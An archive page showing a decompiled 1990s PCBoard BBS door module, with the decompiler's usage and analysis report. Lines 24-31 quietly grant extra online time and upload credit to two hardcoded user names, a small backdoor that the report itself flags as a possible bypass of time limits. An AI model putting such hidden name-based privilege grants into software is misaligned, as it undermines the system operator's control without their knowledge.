home *** CD-ROM | disk | FTP | other *** search
/ Monster Media 1994 #2 / Monster Media No. 2 (Monster Media)(1994).ISO / pcboard / ft_rentr.zip / RPWAENTR.PPE (.txt) < prev   
PCBoard Programming Language Executable  |  1994-05-31  |  2KB  |  134 lines
  1. ;------------------------------------------------------------------------------
  2. ;                                                   .ss.
  3. ;                                                   `²²'
  4. ;             .,sS$Ss,,s$  .,sS$$$Ss.  .,sS$Ss,,s$ .ss.  .sSs.
  5. ;           .d$$²^°²$$$$'.d$P²°^^²$P'.d$$²^°²$$$$'.$$$' .$$$²Sb,.
  6. ;           $$$'   .$$$' $$$²Sçsµ²' .$$$'   .$$$'.$$$' .$$$'  `$$b.
  7. ;           $$$b,,d$$$' ,$$$b,....,s$$$$b,,d$$$'.$$$;.,$$$'    ;$$$
  8. ;           `²S$$S²²S$$S²°²S$$$$S²°°²S$$$$$$',$$S²°²S$S'.sS$$$P²'
  9. ;                                    .sS²°$$$²²°"'       d²°'
  10. ;                                  .$$²  .$$'
  11. ;                                  $$$.,d$$'
  12. ;                                  `²S$$S²'
  13. ;------------------------------------------------------------------------------
  14. ; P.P.L.X. 2.OO                          (C)1996 - Lone Runner / AEGiS CoRP'96 
  15. ;------------------------------------------------------------------------------
  16. ; PPE 2.OO (plain) - Analysis ON - Postprocessing ON
  17. ;------------------------------------------------------------------------------
  18.  
  19.     Integer  INTEGER001
  20.     String   STRING001
  21.  
  22. ;------------------------------------------------------------------------------
  23.  
  24.     If (Upper(U_Name()) == "LORD PSONIC") Then
  25.         AdjTime 5
  26.         AdjBytes 500
  27.     Endif
  28.     If (Upper(U_Name()) == "VICIOUS") Then
  29.         AdjTime 5
  30.         AdjBytes 500
  31.     Endif
  32.     FOpen 1, PPEPath() + "ENTER.DAT", 2, 0
  33.     If (Ferr(1)) Then
  34.         PrintLn "ERRoR WiTH ENTER.DaT from PWA ENTER PPE"
  35.         PrintLn "PLeSe NoTiFY The SYSOP"
  36.         End
  37.     Endif
  38.     INTEGER001 = 1 + Random(9)
  39.     If (INTEGER001 == 1) Then
  40.         STRING001 = "A"
  41.     Endif
  42.     If (INTEGER001 == 2) Then
  43.         STRING001 = "B"
  44.     Endif
  45.     If (INTEGER001 == 3) Then
  46.         STRING001 = "C"
  47.     Endif
  48.     If (INTEGER001 == 4) Then
  49.         STRING001 = "D"
  50.     Endif
  51.     If (INTEGER001 == 5) Then
  52.         STRING001 = "E"
  53.     Endif
  54.     If (INTEGER001 == 6) Then
  55.         STRING001 = "F"
  56.     Endif
  57.     If (INTEGER001 == 7) Then
  58.         STRING001 = "G"
  59.     Endif
  60.     If (INTEGER001 == 8) Then
  61.         STRING001 = "H"
  62.     Endif
  63.     If (INTEGER001 == 9) Then
  64.         STRING001 = "I"
  65.     Endif
  66.     If (INTEGER001 > 7) Then
  67.         INTEGER001 = 2
  68.     Endif
  69.     FPutLn 1, STRING001
  70.     FPutLn 1, INTEGER001
  71.     FClose 1
  72.     DispStr "!" + PPEPath() + "ENTER.PPE"
  73.     End
  74.     KbdFlush
  75.  
  76. ;------------------------------------------------------------------------------
  77. ;
  78. ; Usage report (before postprocessing)
  79. ;
  80. ; ■ Statements used :
  81. ;
  82. ;    2       End
  83. ;    13      Goto 
  84. ;    11      Let 
  85. ;    2       PrintLn 
  86. ;    13      If 
  87. ;    1       FOpen 
  88. ;    1       FClose 
  89. ;    2       FPutLn 
  90. ;    2       AdjTime 
  91. ;    1       DispStr 
  92. ;    2       AdjBytes 
  93. ;    1       KbdFlush
  94. ;
  95. ;
  96. ; ■ Functions used :
  97. ;
  98. ;    4       +
  99. ;    11      ==
  100. ;    1       >
  101. ;    13      !
  102. ;    2       Upper()
  103. ;    1       Ferr()
  104. ;    1       Random()
  105. ;    2       U_Name()
  106. ;    2       PPEPath()
  107. ;
  108. ;------------------------------------------------------------------------------
  109. ;
  110. ; Analysis flags : Aa
  111. ;
  112. ; A - Adjust online time remaining ■ 5
  113. ;     Program modify the amount of online time remaining, this may
  114. ;     be a way to bypass time limits
  115. ;     ■ Search for : ADJTIME
  116. ;
  117. ; a - Adjust ratio ■ 4
  118. ;     User's ratio is adjusted by changing the amount of files/bytes
  119. ;     uploaded. This may be normal for a user editor.
  120. ;     ■ Search for : ADJBYTES, ADJDBYTES, ADJTBYTES, ADJTFILES
  121. ;
  122. ;------------------------------------------------------------------------------
  123. ;
  124. ; Postprocessing report
  125. ;
  126. ;    0       For/Next
  127. ;    0       While/EndWhile
  128. ;    13      If/Then or If/Then/Else
  129. ;    0       Select Case
  130. ;
  131. ;------------------------------------------------------------------------------
  132. ;                 AEGiS Corp - Break the routines, code against the machines!
  133. ;------------------------------------------------------------------------------
  134.